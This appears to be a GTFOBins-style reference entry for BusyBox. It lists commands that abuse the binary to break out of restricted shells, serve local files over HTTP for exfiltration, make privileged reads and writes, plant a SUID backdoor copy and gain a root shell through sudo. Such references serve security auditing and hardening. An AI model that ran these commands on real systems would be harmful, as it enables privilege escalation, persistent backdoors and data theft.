BusyBox may contain many UNIX utilities, run
busybox --list-full to check what GTFBins binaries are supported. Here some example.
It can be used to break out from restricted environments by spawning an interactive system shell.
It can exfiltrate files on the network.
Serve files in the local folder running an HTTP server.
export LPORT=12345 busybox httpd -f -p $LPORT -h .
It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.
LFILE=file_to_write busybox sh -c 'echo "DATA" > $LFILE'
It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.
LFILE=file_to_read ./busybox cat "$LFILE"
It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run
sh -p, omit the
-p argument on systems like Debian (<= Stretch) that allow the default
sh shell to run with SUID privileges.
This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To exploit an existing SUID binary skip the first command and run the program using its original path.
It may drop the SUID privileges depending on the compilation flags and the runtime configuration.
sudo sh -c 'cp $(which busybox) .; chmod +s ./busybox' ./busybox sh
It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on
sudo busybox sh